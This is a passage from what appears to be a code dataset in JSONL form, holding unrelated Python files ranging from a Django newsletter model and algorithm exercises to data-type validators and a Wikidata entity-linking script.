(DRAFT, 'Draft'),\n (PUBLISHED, 'Published')\n )\n subject = models.CharField(max_length=250)\n body = RichTextUploadingField()\n status = models.CharField(max_length=10, choices=EMAIL_STATUS_CHOICES)\n created = models.DateTimeField(auto_now_add=True)\n updated = models.DateTimeField(auto_now=True)\n\n def __str__(self):\n return self.subject\n\n def save(self):\n super(Newsletter, self).save()\n if self.status == \"Published\":\n print(strip_tags(self.body))\n from_email = settings.EMAIL_HOST_USER\n emails = NewsletterUser.objects.all()\n for email in emails:\n with open(settings.BASE_DIR\n + '/templates/newsletter/newsletter.txt') as f:\n newsletter_message = f.read()\n message = EmailMultiAlternatives(\n subject=self.subject,\n body=str(strip_tags(self.body)),\n from_email=from_email,\n to=[email])\n message.attach_alternative(self.body, \"text/html\")\n message.send()\n","sub_path":"newsletter_app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"627883967","text":"#!/usr/bin/env pybricks-micropython\n# ↑ Interpretador do python definido para o EV3\n\n# Importações dos módulos utilizados\n# Módulo principal do brick importado da biblioteca principal\nfrom pybricks.hubs import EV3Brick\n\n# Inicializar o brick\nev3 = EV3Brick()\n\n'''\nAlém de tocar beeps e arquivos, também podemos\nfazer nosso EV3 falar!\npara isso, usamos a função say()\nque é configurada pela set_speech_options\n'''\n\n# Vamos configurar nosso \"falador\"!\nev3.speaker.set_speech_options(\n language='pt-br', # Linguagem de fala, vamos deixar em português (BR)\n voice=None, # A voz usada (em portugues só tem uma 😭)\n speed=None, # Velocidade em palavras por minuto, manteremos padrão\n pitch=None # Tom de voz, podemos alterar de 0 a 99, manteremos padrão\n)\n\n\n# Vamos testar com uma frase!\ndef main():\n ev3.speaker.say('A filha da Xuxa se chama Sasha!')\n\n\n# Se o programa está executando como principal\nif __name__ == '__main__':\n # Executa nossa função de teste\n main()\n\n# Fonte:\n# https://pybricks.github.io/ev3-micropython/hubs.html#pybricks.hubs.EV3Brick.speaker.beep\n","sub_path":"Uso_Basico/Brick/Sons/Sons_2.py","file_name":"Sons_2.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"176569395","text":"def maxmin(arr):\n n=len(arr)\n #condition to find whether array with even size or odd size\n if n%2==0:\n #initializing maximum and minimum for even sized array\n minimum=min(arr[0],arr[1])\n maximum=max(arr[0],arr[1])\n i=2\n else:\n #initializing maximum and minimum for odd sized array\n maximum=minimum=arr[0]\n i=1\n #traversing remainder of array by dividing into 2 elements each\n while i \")\n shared.q_command_interpreter.put(s)\n\nclass ConsoleOutput(threading.Thread):\n def __init__(self, q):\n shared.systemMessage(\"Starting console_output\")\n threading.Thread.__init__(self)\n self.q = q\n self.running = True\n\n def run(self):\n while self.running:\n q_item = self.q.get()\n if q_item.startswith(\"ex\"):\n print(\"Stopping console_output\")\n self.running = False\n else:\n print(q_item)\n self.q.task_done()\n\n","sub_path":"console.py","file_name":"console.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"524554776","text":"def knuth_morris_pratt_string_matching(t, w, m, n):\n sB = strong_prefix_suffix(w)\n i = 0\n while i <= n - m + 1:\n j = 0\n while j < m and t[i + j + 1] == w[j + 1]:\n j = j + 1\n if j == m:\n return True\n i, j = i + j - sB[j], max(0, sB[j])\n return False","sub_path":"text/code/exact-string-matching/knuth-morris-pratt.py","file_name":"knuth-morris-pratt.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"630711612","text":"def dfs(now_i, now_j, chk):\n global n\n for di, dj in d:\n i=now_i+di\n j=now_j+dj\n if 0<=i=2:\n answer+=1\nprint(answer)\n","sub_path":"BOJ/20497.py","file_name":"20497.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"117210028","text":"from dateutil.parser import parse\nfrom geo_lookup import get_places_by_type\nfrom address import AddressParser\nfrom email.utils import parseaddr\nimport phonenumbers\nimport re\nimport time\n\ndef is_a_bool(value, key=None):\n bool_words = ['y','yes','n','no','true','false','t','f','on','off']\n return str(value).lower().strip() in bool_words\n\n\ndef is_a_time(value,key=None):\n try:\n time.strptime(value, '%H:%M')\n return True\n except ValueError:\n try:\n time.strptime(value, '%H:%M:%S')\n return True\n except ValueError:\n return False\n\n\ndef is_a_date(value, key=None):\n \"\"\"\n Dateutil recognizes some letter combinations as dates, which is almost \n always something that isn't really a date (like a US state abbreviation)\n \"\"\"\n if not any(char.isdigit() for char in str(value)):\n return False\n\n try:\n pos_date = parse(value)\n except:\n return False\n\n if is_a_time(value,key=key):\n return False\n\n \"\"\" \n If we can also parse this as a straigtup integer it's probably not a \n date. Unless of course the word date or time is in the column name, \n then it might be a timestamp.\n \"\"\"\n if is_a_int(value, key):\n if not key:\n return False\n\n keyl = str(key).lower()\n if 'date' in keyl or 'time' in keyl:\n return True\n else:\n return False\n\n if is_a_float(value, key):\n keyl = str(key).lower()\n if 'date' in keyl or 'time' in keyl:\n return True\n\n if float(value) < 0:\n return False\n\n \"\"\"\n This is iffy. Obviously it's totally possible to have infinitely \n precise measurements, but we're going to guess that if there are \n more numbers to the right of the decimal point than the left, we \n are probably dealing with a coordinate (or something)\n \"\"\"\n pieces = str(value).split('.')\n if len(pieces[1]) > len(pieces[0]):\n return False\n\n return True\n\n\ndef is_a_float(value, key=None):\n if \".\" in str(value):\n try:\n v = float(value)\n return True\n except:\n return False\n\n return False\n\n\ndef is_a_int(value, key=None):\n if is_a_float(value):\n return False\n\n if is_a_zip(value, key=key):\n return False\n\n try:\n int(value)\n return True\n except:\n return False\n\n\ndef is_a_str(value, key=None):\n if not value or str(value).strip() == \"\":\n return False\n\n if is_a_date(value) or is_a_float(value) or is_a_int(value):\n return False\n\n return True\n\n\ndef is_a_text(value, key=None):\n if not is_a_str(value, key=key):\n return False\n\n return len(str(value).strip()) > 90\n\n\n\"\"\"Geospatial checks. Looks for coordinates, coordinate pairs, address strings, \ngeo text (like country, state, city), zip codes, etc etc. Basically anything \nyou might want to geocode or treat as a point. \"\"\"\n\ndef is_a_coord(value, key=None, pos=None):\n if key:\n key = str(key).lower().strip()\n\n if key and key in ['latitude', 'longitude'] and is_a_int(value):\n return True\n\n if not is_a_int(value, key=key) and not is_a_float(value, key=key):\n return False\n\n if not abs(float(value)) <= 180:\n return False\n\n # so we know we have a value that is between -180 and 180\n key_names = ['lat', 'lon', 'lng', 'long', 'coords', 'coordinates']\n if key and any([k in key for k in key_names]):\n return True\n\n return is_a_float(value, key=key)\n\n\ndef is_a_coord_pair(value, key=None, pos=None):\n delimeters = [',','|','/']\n disallowed = \"(){}[]\"\n\n value = str(value).strip()\n possible_matches = [d for d in delimeters if d in value]\n \n # if more than one of these is present or none of them, than this isn't \n # a pair\n if len(possible_matches) != 1:\n return False\n\n # Get rid of weird shit people put in coord pair columns\n value = value.translate(None, disallowed)\n\n delimiter = possible_matches[0]\n possible_cords = value.split(delimiter)\n \n if len(possible_cords) != 2:\n return False\n\n # All parts have to be floats or ints\n if not all([is_a_float(x) or is_a_int(x) for x in possible_cords]):\n return False\n\n # max abs lat is 90, max abs lng is 180\n if any([abs(float(x)) > 180 for x in possible_cords]):\n return False\n\n if all([abs(float(x)) > 90 for x in possible_cords]):\n return False\n\n \"\"\"If one is a coord and the other is an int or float, let's use it\"\"\"\n if any([is_a_coord(x) for x in possible_cords]):\n return True\n\n return False\n \n\ndef is_a_place(value, place_type, key=None):\n if not is_a_str(value):\n return False\n\n value = str(value).strip()\n\n non_addrs = ['|','/','?','!','@','$','%']\n if len([na for na in non_addrs if na in value]) > 0:\n return False\n\n # If your country's name is longer than 40 characters, you're doing \n # something wrong.\n if len(value) > 40:\n return False\n\n if key:\n key = str(key).lower().strip()\n\n if key and key in [place_type]:\n return True\n\n if len(get_places_by_type(value, place_type)) > 0:\n return True\n\n if place_type in ['region'] and len(value) < 4 and \\\n len(get_places_by_type(value, place_type + '_iso_code')) > 0:\n return True\n\n return False\n\n\ndef is_a_city(value, key=None, pos=None):\n return is_a_place(value, 'city', key=key)\n\n\ndef is_a_region(value, key=None, pos=None):\n return is_a_place(value, 'region', key=key)\n\n\ndef is_a_country(value, key=None, pos=None):\n return is_a_place(value, 'country', key=key)\n\n\ndef is_a_zip(value, key=None, pos=None):\n if key:\n key = str(key).lower().strip()\n\n if key and key in ['zip', 'zipcode', 'postal code']:\n return True\n\n if str(value).count('-') == 1 and len(str(value)) == 10:\n primary = str(value).split('-')[0]\n else:\n primary = value\n\n try:\n primary = int(primary)\n except:\n return False\n\n if len(str(primary)) == 5 and int(primary) > 499:\n return True\n\n return False\n\n\nap = AddressParser()\ndef address_pieces(value):\n if not is_a_str(value):\n return [], None\n\n value = str(value).strip()\n\n if len(value) > 80:\n return [], None\n\n address = ap.parse_address(value)\n\n keys = [\n 'house_number', \n 'street', \n 'city',\n 'zip',\n 'state'\n ]\n\n return [key for key in keys if getattr(address, key, None)], address\n\n\n\"\"\"Check if a string is a house number + street name. The street part of an \naddress. Note that we return false if this is a more complete address. \"\"\"\ndef is_a_street(value, key=None, pos=None):\n has,address = address_pieces(value)\n\n if len(has) == 2 and 'house_number' in has and 'street' in has:\n return not is_a_address(value)\n else:\n return False\n\n\n\"\"\"Check to see if this is enough of an address that it could be geocoded. So \nhas at least a city + state, or at least street + city\"\"\"\ndef is_a_address(value, key=None, pos=None):\n has,address = address_pieces(value)\n \n if len(has) >= 2:\n if getattr(address, 'city', None):\n return True\n \n pieces = value.split(' ')\n if len(pieces) > 2:\n \"\"\"Sometimes we get an address like 100 Congress Austin TX, so let's \n take a stab at breaking up the city/state in a way AddressParser \n might understand\"\"\"\n pieces[len(pieces) - 2] = pieces[len(pieces) - 2] + ','\n\n has,address = address_pieces(' '.join(pieces))\n if len(has) > 2 and getattr(address, 'city', None):\n return True\n\n return False\n\n\ndef is_a_phone(value, key=None, pos=None):\n value = str(value).strip()\n\n if len(value) > 20:\n return False\n\n \"\"\"Check for international numbers\"\"\"\n if value.startswith('+'):\n try:\n phonenumbers.parse(value)\n return True\n except:\n return False\n\n \"\"\"Otherwise let's hope it's a US number\"\"\"\n reg = re.compile(\".*?(\\(?\\d{3}\\D{0,3}\\d{3}\\D{0,3}\\d{4}).*?\", re.S)\n matches = reg.search(value)\n\n \"\"\"We're not looking for text fields that contain phone numbers, only fields \n that are dedicated to phone number\"\"\"\n if matches and len(matches.group(1)) == len(value):\n return True\n\n\n return False\n\n\ndef is_a_email(value, key=None, pos=None):\n value = str(value).strip()\n\n possible = parseaddr(value)\n if possible[1] == '':\n return False\n \n e = re.compile(r'[\\w\\-][\\w\\-\\.]+@[\\w\\-][\\w\\-\\.]+[a-zA-Z]{1,4}')\n m = e.search(possible[1])\n if not m:\n return False\n\n if len(m.group(0)) == len(possible[1]):\n return True\n\n return False\n\n\ndef is_a_url(value, key=None, pos=None):\n # blatantly ripped from Django\n regex = re.compile(\n r'(^https?://)?' # http:// or https://\n r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\\.)+[A-Z]{2,6}\\.?|' # domain...\n r'localhost|' # localhost...\n r'\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})' # ...or ip\n r'(?::\\d+)?' # optional port\n r'(?:/?|[/?]\\S+)$', re.IGNORECASE)\n\n value = str(value).strip()\n m = regex.search(value)\n\n if not m:\n return False\n\n return len(m.group(0)) == len(value)\n","sub_path":"penny/value_checks.py","file_name":"value_checks.py","file_ext":"py","file_size_in_byte":9407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"404459658","text":"import os\nimport types\nimport importlib\nfrom collections import OrderedDict\n\nfrom .proxy import SectionProxy\nfrom .config import SaferConfigParser\nfrom .. import logging\nfrom .. import identity\nfrom ..identity import environ\nfrom ..prop.memoized import memoized_property\nfrom ..inspect import repr\nfrom ..str.poly import polymorphicStr\nfrom ..module.mock import MockModule\n\n\nuser_profile_path = identity.path.userenv.joinpath('profile')\n\nclass MockCompanion(MockModule):\n def default(self, *args, **kwargs):\n return NotImplemented\n\nclass Profile(object):\n def __init__(self, path, package, name, overrider=None, current=None):\n self.path = path\n self.package = package\n self.name = name\n self.overrider = overrider or {}\n self.current = current\n def __iter__(self):\n for name in self.sections():\n yield self.section(name)\n __repr__ = repr.auto_strict\n @memoized_property\n def builtin(self):\n return self.path.joinpath(self.name).with_suffix('.cfg')\n @memoized_property\n def user(self):\n return user_profile_path.joinpath(self.name).with_suffix('.cfg')\n @memoized_property\n def config(self):\n return SaferConfigParser.from_filenames(self.builtin.str, self.user.str)\n @memoized_property\n def py(self):\n try: # should validate?\n module = importlib.import_module('.' + self.name, self.package)\n module.default # check if it has `default` at least.\n return module\n except Exception as e:\n l = logging.get_default()\n l.error(\n 'An error occurred in creating profile `{}`.'.format(self.name))\n l.error(str(type(e)))\n l.error(str(e))\n return MockCompanion()\n def sections(self):\n return self.config.sections()\n def section(self, section):\n config = self.config\n kvs = [(option, polymorphicStr(config.get(section, option)))\n for option in config.options(section)]\n overrider = {key: polymorphicStr(val)\n for key, val in list(self.overrider.items())}\n proxy = SectionProxy(section, OrderedDict(kvs, **overrider))\n companion = self.py # companion\n init = getattr(companion, section, None) or companion.default\n proxy.__call__ = types.MethodType(init, proxy, SectionProxy)\n return proxy\n @property\n def first_name(self):\n try: # returns a profile that was defined firstly.\n return self.config.sections()[0]\n except:\n pass\n @property\n def first(self):\n first_name = self.first_name\n if first_name:\n return self.section(first_name)\n @property\n def environ(self): # from environment variables\n val = environ.getval('profile', self.name)\n if val:\n try:\n return self.section(val)\n except:\n print(('env profile', val, 'seems not working.'))\n _current = None\n @property\n def current(self):\n if self._current:\n try:\n return self.section(self._current)\n except:\n print(('env profile', self._current, 'seems not working.'))\n @current.setter\n def current(self, val):\n self._current = val # validation required\n @property\n def as_resolved(self):\n return self.current or self.environ or self.first\n _inst = None\n def instance(self, *args, **kwargs):\n if not self._inst:\n resolved = self.as_resolved\n if resolved:\n self._inst = resolved(*args, **kwargs)\n return self._inst\n @property\n def name_as_resolved(self):\n return self._current or environ.getval('profile', self.name) or self.first_name\n @property\n def is_empty(self):\n return not bool(self.config.sections())\n def vim(self):\n if self.user.is_file():\n cmd = 'vim %s' % self.user.str\n else:\n cmd = 'echo \"%s\" | vim - +\"file %s\" +\"set filetype=cfg\"' % (\n self.blueprint, self.user.str)\n os.system(cmd)\n def remove(self):\n os.remove(self.user.str)\n def reset(self):\n self.user.write(str(self.blueprint), mode='w')\n @property\n def blueprint(self):\n return '\\n'.join(\n '[%s]' % s for s in self.sections())\n","sub_path":"pacu/pacu/util/src/profile/impl.py","file_name":"impl.py","file_ext":"py","file_size_in_byte":4392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"172111802","text":"import json\n\nfrom nose.tools import eq_\n\nfrom flicks.base.http import JSONResponse\nfrom flicks.base.tests import TestCase\n\n\nclass JSONResponseTests(TestCase):\n def test_basic(self):\n response = JSONResponse({'blah': 'foo', 'bar': 7})\n eq_(json.loads(response.content), {'blah': 'foo', 'bar': 7})\n eq_(response.status_code, 200)\n\n response = JSONResponse(['baz', {'biff': False}])\n eq_(response.content, '[\"baz\", {\"biff\": false}]')\n eq_(response.status_code, 200)\n\n def test_status(self):\n response = JSONResponse({'blah': 'foo', 'bar': 7}, status=404)\n eq_(json.loads(response.content), {'blah': 'foo', 'bar': 7})\n eq_(response.status_code, 404)\n","sub_path":"flicks/base/tests/test_http.py","file_name":"test_http.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"86826244","text":"# 433. Minimum Genetic Mutation\nfrom collections import deque\n\nclass Solution(object):\n def buildGraph(self, bank):\n graph = {u:set() for u in bank}\n N = len(bank)\n L = len(bank[0])\n for i in range(N):\n u = bank[i]\n for j in range(i + 1, N):\n v = bank[j]\n diff = 0\n for k in range(L):\n if u[k] != v[k]: diff += 1\n if diff == 1:\n graph[u].add(v)\n graph[v].add(u)\n return graph\n\n def bfs(self, start, end, graph):\n visited = {start: 0}\n queue = deque([start])\n while queue:\n u = queue.popleft()\n if u == end: return visited[u]\n for v in graph[u]:\n if not v in visited:\n visited[v] = visited[u] + 1\n queue.append(v)\n return -1\n \n\n def minMutation(self, start, end, bank):\n \"\"\"\n :type start: str\n :type end: str\n :type bank: List[str]\n :rtype: int\n \"\"\" \n graph = self.buildGraph(bank + [start])\n return self.bfs(start, end, graph)\n\ns = Solution()\nprint(s.minMutation(\"AACCGGTT\", \"AACCGGTA\", [\"AACCGGTA\"]))\nprint(s.minMutation(\"AACCGGTT\", \"AAACGGTA\", [\"AACCGGTA\", \"AACCGCTA\", \"AAACGGTA\"]))\n","sub_path":"433.py","file_name":"433.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"474568764","text":"from SPARQLWrapper import SPARQLWrapper, JSON\nfrom argparse import ArgumentParser\nfrom bert_score import score\nfrom random import choice, randint\nfrom tqdm import tqdm\nimport networkx as nx\nimport numpy as np\nimport operator\nimport requests\nimport spacy\nimport time\nimport sys\n\nnp.random.seed(42)\n\n\nclass EntityLinker():\n def __init__(self):#, conf):\n super(EntityLinker, self)\n\n def _get_entity_mentions(self, utterance, context=None, ignore_names=[]):\n\n try:\n annotations = requests.post(\n #self._params[\"linker_endpoint\"],\n \"http://localhost:8080\",\n json={\n \"text\": utterance.replace(\".\", \"\").replace(\"-\", \"\"),\n \"properties\": {},\n \"profanity\": {\n \"http://www.wikidata.org/prop/direct/P31\": [\n \"http://www.wikidata.org/entity/Q184439\",\n \"http://www.wikidata.org/entity/Q608\"\n ],\n \"http://www.wikidata.org/prop/direct/P106\": [\n \"http://www.wikidata.org/entity/Q488111\",\n \"http://www.wikidata.org/entity/Q1027930\",\n \"http://www.wikidata.org/entity/Q1141526\"\n ]\n },\n \"annotationScore\": -8.5,\n \"candidateScore\": -10\n },\n #timeout=self._params.get(\"timeout\", None)\n )\n\n if annotations.status_code != 200:\n print(\n \"[Entity Linker]: Status code %d\\n\"\n \"Something wrong happened. Check the status of the entity linking server and its endpoint.\" %\n annotations.status_code)\n annotations = {}\n else:\n annotations = annotations.json()\n except requests.exceptions.RequestException as e:\n print(\"[Entity Linker]:\"\n \"Something wrong happened. Check the status of the entity linking server and its endpoint.\")\n annotations = {}\n return annotations\n\n\n def __call__(self, *args, **kwargs):\n\n annotations = kwargs.get(\"annotations\", None)\n if not annotations:\n return None\n\n p_annotation = annotations.get(\"processed_text\")\n\n # entity linking for the current user utterance (ignore when the user says their name)\n context = DictQuery(kwargs.get(\"context\", {}))\n user_ents = None\n if p_annotation and not self._name_intent.search(p_annotation):\n user_ents = self._get_entity_mentions(p_annotation, context=context)\n return {\n \"entity_linking\": user_ents,\n }\n\n\nFIND_IMPORTANT_NODES = \"\"\"\n SELECT ?item ?itemLabel ?outcoming ?sitelinks ?incoming {\n wd:%s wdt:P279 ?item .\n ?item wikibase:statements ?outcoming .\n ?item wikibase:sitelinks ?sitelinks .\n {\n SELECT (count(?s) AS ?incoming) ?item WHERE {\n wd:%s wdt:P279 ?item .\n ?s ?p ?item .\n [] wikibase:directClaim ?p\n } GROUP BY ?item\n }\n SERVICE wikibase:label { bd:serviceParam wikibase:language \"en\" . }.\n } ORDER BY DESC (?incoming)\n\"\"\"\n\n\ndef find_id(url):\n entity = url.split('/')\n entity = entity[len(entity)-1]\n return entity\n\n\ndef find_entities(value):\n scores = []\n ids = []\n for val in value:\n id_ = val['entityLink']['identifier']\n score = val['score']\n ids.append(id_)\n scores.append(score)\n #scores = np.array(scores)\n min_val = min(ids, key=len)\n main_entity = find_id(min_val)\n return main_entity # returns Q item from Wikidata\n\n\ndef mid_way_step(G, start, destination, k, path):\n entities = [start]\n index_ = 1\n while k > 0:\n tmp_scores = {}\n for ent_ind in range(index_, len(path)-k):\n current_entity = path[ent_ind]\n P, R, F1 = score([start], [current_entity], lang='en', rescale_with_baseline=True)\n tmp_scores[current_entity] = F1.item()\n entity = max(tmp_scores, key=tmp_scores.get)\n entities.append(entity)\n k -= 1\n start = entity\n index_ = path.index(entity)+1\n entities.append(destination)\n return entities\n\n\n# check all sentences that contain the 2 chosen entities\ndef check_in_pchat(persona_file, rand_1_n, rand_2_n):\n p_one = []\n p_two = []\n with open(persona_file, 'r') as p_file:\n for line in p_file:\n if 'persona' in line:\n try:\n line = line.split(':')[1]\n if rand_1_n in line:\n p_one.append(line)\n elif rand_2_n in line:\n p_two.append(line)\n except:\n pass\n return p_one, p_two\n\n\n# find if there's a path between 2 random nodes\ndef find_paths(G, persona_file, rand_1, rand_2):\n # choosing random nodes + saving their names\n rand_1_n = rand_1\n rand_2_n = rand_2\n temp_search = list(G.nodes(data='name'))\n try:\n rand_1 = [item[0] for item in temp_search if item[1] == rand_1_n][0]\n rand_2 = [item[0] for item in temp_search if item[1] == rand_2_n][0]\n except:\n return False, [], []\n\n pairs = []\n possible_short_paths = []\n other_paths = []\n try:\n tmp_short = nx.all_shortest_paths(G, source=rand_1, target=rand_2)\n count = 0\n for path in tmp_short:\n if count >= 20:\n break\n possible_short_paths.append(path)\n tmp_others = nx.all_simple_paths(G, source=rand_1, target=rand_2, cutoff=20)\n for path in tmp_others:\n other_paths.append(path)\n except:\n return False, [], []\n if len(possible_short_paths) > 0:\n # print('Path from {} to {}'.format(rand_1_n, rand_2_n))\n short_rand_var = np.random.randint(0, len(possible_short_paths))\n short_rand = [G.nodes[p]['name'] for p in possible_short_paths[short_rand_var]]\n # print('Shortest path: {}'.format(short_rand))\n # 3: number of mid-way entities we want to find\n # 2: start + end entities\n mid_entities = []\n if len(short_rand) > (3+2):\n mid_entities = mid_way_step(G, rand_1_n, rand_2_n, 3, short_rand)\n if len(other_paths) > 0:\n other_rand_var = np.random.randint(0, len(other_paths))\n other_rand = [G.nodes[p]['name'] for p in other_paths[other_rand_var]]\n return True, short_rand, mid_entities\n\n\ndef scan_docs(ent_1, ent_2, articles, check_ent_1, k=2):\n mentions_one = []\n mentions_two = []\n for sentence in tqdm(articles):\n if check_ent_1 and ent_1 in sentence and len(mentions_one) < k:\n mentions_one.append(sentence)\n if ent_2 in sentence and len(mentions_two) < k:\n mentions_two.append(sentence)\n return mentions_one, mentions_two\n\n\ndef find_documents(entities, articles):\n entity_1 = entities[0]\n count = 0\n mentions_one = []\n mentions_two = []\n for entity in entities:\n if entity == entity_1:\n continue\n\n entity_2 = entity\n # TODO: entity_1 should be searching for mentions if unseen before\n if count == 0:\n temp_one, temp_two = scan_docs(entity_1, entity_2, articles, True)\n else:\n temp_one, temp_two = scan_docs(entity_1, entity_2, articles, False)\n if len(temp_one) > 0:\n mentions_one.append(temp_one)\n mentions_two.append(temp_two)\n # print(mentions_one)\n # print(mentions_two)\n # TODO: find importance score between mentions!\n mentions_one = mentions_two\n entity_1 = entity\n count += 1\n return mentions_one, mentions_two\n\n\ndef add_edges(G):\n for node in tqdm(list(G.nodes)):\n neighbours = G.successors(node)\n for neighbour in neighbours:\n G.add_edges_from([(neighbour, node, {'name': 'has_subclass'})])\n nx.write_gpickle(G, \"pickled_graph_complete\")\n\n\n# NOT NEEDED ANYMORE\ndef remove_useless_links(G):\n # fnid meaningful connections\n sparql_client = SPARQLWrapper(\"http://query.wikidata.org/sparql\", returnFormat=JSON, agent='User-Agent: Mozilla/5.0')\n sparql_client.setTimeout(604800)\n for node in tqdm(list(G.nodes)):\n # deleting root node and all its connections\n if node == 'root':\n G.remove_node(node)\n\n # find the important nodes, remove connections from current node to every other non-important\n sparql_client.setQuery(FIND_IMPORTANT_NODES % (node, node))\n results = sparql_client.queryAndConvert()['results']['bindings']\n time.sleep(3)\n if len(results) > 0:\n # check for node's neighbours\n neighbours = G.successors(node)\n remove = []\n for neighbour in neighbours:\n if neighbour not in results:\n remove.append(neighbour)\n for rem in remove:\n G.remove_edge(node, rem)\n nx.write_gpickle(G, \"pickled_graph_complete\")\n\n\ndef remove_tokens(pos_sentence_one, pos_sentence_two, rand_1_entities, rand_2_entities):\n to_be_removed = ['AUX', 'PRON', 'SCONJ', 'DET', 'ADV', 'PART']\n tmp_rem = []\n for token in pos_sentence_one:\n for ent, val in rand_1_entities.items():\n if token.pos_ in to_be_removed and token.text in ent:\n tmp_rem.append(ent)\n for ent in tmp_rem:\n if ent in rand_1_entities:\n rand_1_entities.pop(ent)\n tmp_rem = []\n for token in pos_sentence_two:\n for ent, val in rand_2_entities.items():\n if token.pos_ in to_be_removed and token.text in ent:\n tmp_rem.append(ent)\n for ent in tmp_rem:\n if ent in rand_2_entities:\n rand_2_entities.pop(ent)\n return rand_1_entities, rand_2_entities\n\n\n# two entities in each trait, see how paths are\ndef find_max_entities(final_ent_1, final_ent_2, num_entities=2):\n rand_1 = []\n rand_2 = []\n while num_entities > 0 and bool(final_ent_1) and bool(final_ent_2):\n max_1 = max(final_ent_1, key=final_ent_1.get)\n max_2 = max(final_ent_2, key=final_ent_2.get)\n rand_1.append(max_1)\n rand_2.append(max_2)\n final_ent_1.pop(max_1)\n final_ent_2.pop(max_2)\n num_entities -= 1\n return rand_1, rand_2\n\n\ndef eval_conKB(entities):\n for i in range(len(entities)-1):\n entity_1 = entities[i]\n entity_2 = entities[i+1]\n\n out_conv = self.convKB(conv_input)\n return\n\n\nif __name__ == '__main__':\n ap = ArgumentParser()\n ap.add_argument('persona_file', help='PersonaChat file as input')\n ap.add_argument('article_file', help='Article file as input')\n args = ap.parse_args()\n persona_file = args.persona_file\n article_file = args.article_file\n\n with open(args.persona_file, 'r') as p_f:\n persona_traits = p_f.readlines()\n # with open(persona_file, 'r') as pers_file:\n # for line in pers_file:\n # if 'persona' in line:\n # try:\n # line = line.split(':')\n # persona_traits.append(line[1])\n # except:\n # pass\n\n with open(article_file, 'r') as ar_file:\n articles = ar_file.readlines()\n\n G = nx.read_gpickle(\"pickled_graph\")\n print('Nodes: {}\\tEdges: {}'.format(len(list(G.nodes)), len(list(G.edges))))\n spacy.prefer_gpu()\n nlp = spacy.load(\"en_core_web_sm\")\n\n count_found = 0\n count_not_found = 0\n try:\n while(True):\n # choosing random persona traits from the same persona/next one\n rand_1_num = randint(0, len(persona_traits)-1)\n rand_2_num = rand_1_num + 1\n\n # find entities in the traits\n linker = EntityLinker()\n rand_1_entities = linker._get_entity_mentions(persona_traits[rand_1_num])\n rand_2_entities = linker._get_entity_mentions(persona_traits[rand_2_num])\n pos_sentence_one = nlp(persona_traits[rand_1_num])\n pos_sentence_two = nlp(persona_traits[rand_2_num])\n # removing verbs, pronouns from our entities\n rand_1_entities, rand_2_entities = remove_tokens(pos_sentence_one, pos_sentence_two, rand_1_entities, rand_2_entities)\n # choose entity (HOW?)\n final_ent_1 = {}\n for ent, val in rand_1_entities.items():\n final_ent_1[ent] = val[0]['score']\n final_ent_2 = {}\n for ent, val in rand_2_entities.items():\n final_ent_2[ent] = val[0]['score']\n empty_one = not final_ent_1\n empty_two = not final_ent_2\n if empty_one or empty_two:\n continue\n rand_1, rand_2 = find_max_entities(final_ent_1, final_ent_2, 2)\n if len(rand_1) == 0 or len(rand_2) == 0:\n continue\n printing = False\n paths_storage = {(0, 0): (persona_traits[rand_1_num], persona_traits[rand_2_num])}\n for ent_1 in rand_1:\n for ent_2 in rand_2:\n paths_storage[(ent_1, ent_2)] = []\n if ent_1 == ent_2:\n continue\n found, shortest_path, entities = find_paths(G, persona_file, ent_1, ent_2)\n # TODO: evaluate convKB model on our triples from entities\n # eval_convKB(entities)\n # TODO: search in documents the mentions of `found' entities (paired)\n if found:\n paths_storage[(ent_1, ent_2)] = (shortest_path, entities)\n count_found += 1\n # tuple of mentions\n # mention = find_documents(entities, articles)\n # print(entities)\n # print(mention)\n printing = True\n else:\n count_not_found += 1\n if printing:\n print(paths_storage)\n except KeyboardInterrupt:\n print('{}/{} - {}'.format(count_found, count_not_found, count_found/(count_not_found+count_found)))\n sys.exit()\n #remove_useless_links(G)\n # add_edges(G)\n\n\n","sub_path":"read_pickle.py","file_name":"read_pickle.py","file_ext":"py","file_size_in_byte":14385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"565415256","text":"\nimport json\n\n# class to extract data cols from json shops source for analysis\n# constructs distribution of categories across active listings\n# and a document (potentially) composed of shop title, product titles,\n# and product tags\n\nclass ShopVec(object):\n \n def __init__(self, shop_dat_f, keys=['shop_id']):\n self.shop_dat_f = shop_dat_f\n self.keys = keys\n self.nonnumeric_cols = []\n \n def __cat_fract(self, d, ex_keys=[]):\n tot = float(sum(v for k,v in d.iteritems() if k not in ex_keys))\n if tot:\n for k in d.iterkeys():\n if k not in ex_keys:\n d[k] /= tot\n \n \n def __extract_from_listings(self, d, listings, cat_dist=True, product_title=True, tags=True):\n for lng in listings:\n if cat_dist:\n for ci in lng['category_path']:\n try:\n d[ci] += 1\n except:\n d[ci] = 1\n \n self.__cat_fract(d, ex_keys=self.keys+['doc'])\n \n if product_title:\n try:\n d['doc'].append(lng['title'])\n except:\n d['doc'] = [lng['title']]\n \n if tags:\n try:\n d['doc'].extend(lng['tags'])\n except:\n d['doc'] = lng['tags']\n \n \n def load_data(self):\n with open(self.shop_dat_f, 'r') as f:\n for row in f:\n yield json.loads(row)\n \n def 